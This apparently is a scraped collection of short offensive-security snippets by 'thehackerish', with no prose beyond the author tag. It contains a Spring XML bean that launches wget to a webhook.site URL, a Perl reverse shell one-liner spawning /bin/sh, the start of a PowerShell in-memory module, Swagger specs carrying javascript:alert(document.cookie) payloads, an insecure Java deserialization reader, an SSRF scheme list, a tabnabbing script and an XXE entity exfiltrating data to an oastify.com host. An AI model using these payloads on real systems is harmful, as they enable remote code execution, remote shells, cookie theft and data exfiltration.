thehackerish

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd">
<beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="test" class="java.lang.ProcessBuilder">
      <constructor-arg type="java.lang.String" index="0"><value>wget</value></constructor-arg>
      <constructor-arg type="java.lang.String" index="1"><value>https://webhook.site/08fc4b77-7e92-46c4-8f7a-fa3b76126698/123</value></constructor-arg>
      <property name="whatever" value="#{test.start()}"/>
  </bean>

thehackerish

perl -e 'use Socket;$i="127.0.0.1";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

thehackerish

#requires -version 2

function New-InMemoryModule {
<#
.SYNOPSIS

Creates an in-memory assembly and module

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause

thehackerish

swagger: "2.0",
info: 
  title: "Swagger Sample App",
  description: "Please to click Terms of service"
  termsOfService: "javascript:alert(document.cookie)"
  contact: 
    name: "API Support",
    url: "javascript:alert(document.cookie)",
    email: "javascript:alert(document.cookie)"
  version: "1.0.1"

thehackerish

import java.io.*;
public class JavaDeserial{
 
    public static void main(String args[]) throws Exception{

        FileInputStream fis = new FileInputStream("/tmp/normalObj.serial");
        ObjectInputStream ois = new ObjectInputStream(fis);
 
        NormalObj unserObj = (NormalObj)ois.readObject();
        ois.close();

thehackerish

acap
afp
dict
dns
file
ftp
git
gopher
http
https

thehackerish

<script> opener.location="https://www.google.com"</script>

thehackerish

<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'http://fwfn5gywf26g6g92fpg6eoxdg4muaj.oastify.com/%data3;'>">

thehackerish

{
        "apiVersion": "1.0",
        "apis": [{
                "description": "Please to click Terms of service",
                "termsOfServiceUrl": "javascript:alert(document.cookie)",
                "path": "\/def\/",
                "position": 0
        }],
        "authorizations": {},

thehackerish

<script>alert(1)</script>